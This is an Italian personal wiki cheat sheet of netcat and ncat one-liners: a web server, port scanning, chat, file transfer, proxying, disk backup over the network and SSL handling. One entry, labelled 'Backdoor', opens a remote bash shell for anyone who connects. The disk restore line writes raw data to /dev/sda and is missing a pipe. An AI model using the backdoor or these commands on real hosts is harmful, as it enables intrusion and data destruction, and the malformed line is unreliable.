Netcat

Da Andreabont's Wiki.

Questa pagina elenca tutti gli usi particolari che ho trovato del famoso coltellino svizzero delle reti. (NB: per le funzioni avanzati utilizzare ncat invece di nc)

Webserver per un singolo file

while true; do sudo nc -l 80 < pagina.htm; done

Scanner porte

nc -v -z <indirizzo> <porta1>-<porta2>

Oppure:

nc -v -n -z -w 1 <indirizzo> <porta1>-<porta2>

Chat

Server:
Versione punto-punto

nc -l <porta> -v

Versione broadcast

ncat -l <porta> --chat

Client:

nc <indirizzo> <porta> -v

Trasferimento file con statistiche

Nel mio esempio la connessione parte da chi vuole prendere il file, ma è possibile fare in modo che sia chi vuole inviare il file a far partire la connessione.

Server:

cat file | pv | nc -l <porta>

Client:

nc <indirizzo> <porta> | pv > file

Backdoor

ncat -l <porta> -e /bin/bash

Proxy

mkfifo backpipe
nc -l <porta> 0<backpipe | nc www.google.com 80 1>backpipe

Oppure:

ncat -l <porta> -c 'nc www.google.com 80'

Backup delle partizioni via rete con statistiche

Server:

dd if=/dev/sda | pv | nc -l <porta>

Client:

nc <indirizzo> <porta> pv | dd of=/dev/sda

Broadcast

Server:

ncat -l <porta> --broker

SSL

Server:

ncat -l <porta> --ssl

Client:

ncat indirizzo <porta> --ssl

Rimuovi layer SSL

ncat -l localhost 143 --sh-exec "ncat --ssl imap.example.com 993"